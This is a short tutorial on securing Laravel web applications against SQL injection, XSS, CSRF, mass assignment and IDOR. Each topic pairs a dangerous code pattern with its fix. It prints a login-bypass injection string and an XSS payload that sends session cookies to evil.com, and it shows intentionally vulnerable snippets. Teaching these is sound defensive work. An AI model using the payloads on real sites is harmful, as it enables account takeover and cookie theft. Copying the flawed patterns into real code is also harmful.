How to Secure Web Applications Against Common Attacks

Security feels overwhelming because there are so many potential vulnerabilities. But in practice, most web app breaches come from a small set of well-known mistakes. Fix these, and you are significantly safer than the average app.

SQL injection: the classic attack

SQL injection happens when user input gets included directly in a database query. An attacker types something like ' OR '1'='1 into a login form and suddenly they are logged in as anyone.

The fix is simple: never build SQL queries by concatenating strings. Always use parameterized queries or an ORM.

// DANGEROUS — never do this
$users = DB::select("SELECT * FROM users WHERE email = '$email'");

// SAFE — always do this
$user = User::where('email', $email)->first();
// or
$user = DB::select('SELECT * FROM users WHERE email = ?', [$email]);

Laravel's Eloquent and query builder always use parameterized queries. As long as you use them properly, you are protected.

XSS: injecting scripts into your pages

Cross-site scripting (XSS) happens when user input is displayed on a page without being escaped. An attacker submits a comment containing <script>document.location='https://evil.com?cookie='+document.cookie</script>. If you display that comment without escaping it, every user who views the page sends their session cookie to the attacker.

In Laravel Blade, {{ $variable }} automatically escapes HTML. This protects you. The dangerous one is {!! $variable !!} — this outputs raw HTML. Never use it with user input.

CSRF: tricking users into submitting forms

Cross-site request forgery tricks a logged-in user into submitting a form on your site from another site. The attacker creates a page with a hidden form that submits to your app. When the victim visits the attacker's page, the form submits automatically using the victim's session.

Laravel protects against this automatically. Every form needs @csrf in Blade templates. Laravel verifies the token on every POST, PUT, PATCH, and DELETE request.

Mass assignment: letting users set fields they should not

This one is specific to Laravel. If you do User::create($request->all()), a clever user can add is_admin=1 to the request and make themselves an admin.

Always define $fillable on your models:

protected $fillable = ['name', 'email', 'password'];
// Only these fields can be mass assigned

IDOR: accessing other users' data

Insecure Direct Object Reference happens when you use a user-supplied ID to access a resource without checking authorization.

// DANGEROUS — any user can view any order by changing the ID
public function show(int $id) {
    return Order::findOrFail($id);
}

// SAFE — only the owner can view their order
public function show(int $id) {
    return Order::where('id', $id)
        ->where('user_id', auth()->id())
        ->firstOrFail();
}

Or use Laravel policies:

$this->authorize('view', $order); // throws 403 if user does not own the order

Keep secrets secret

Never put API keys, database passwords, or any sensitive values in your code. Use .env files. Never commit .env to version control. In production, use environment variables or a secrets manager.

Also: set APP_DEBUG=false in production. Debug mode shows stack traces, file paths, and environment variables to anyone who triggers an error. That is a goldmine for attackers.

These are not advanced techniques. They are basics. But getting the basics right puts you ahead of most apps on the internet.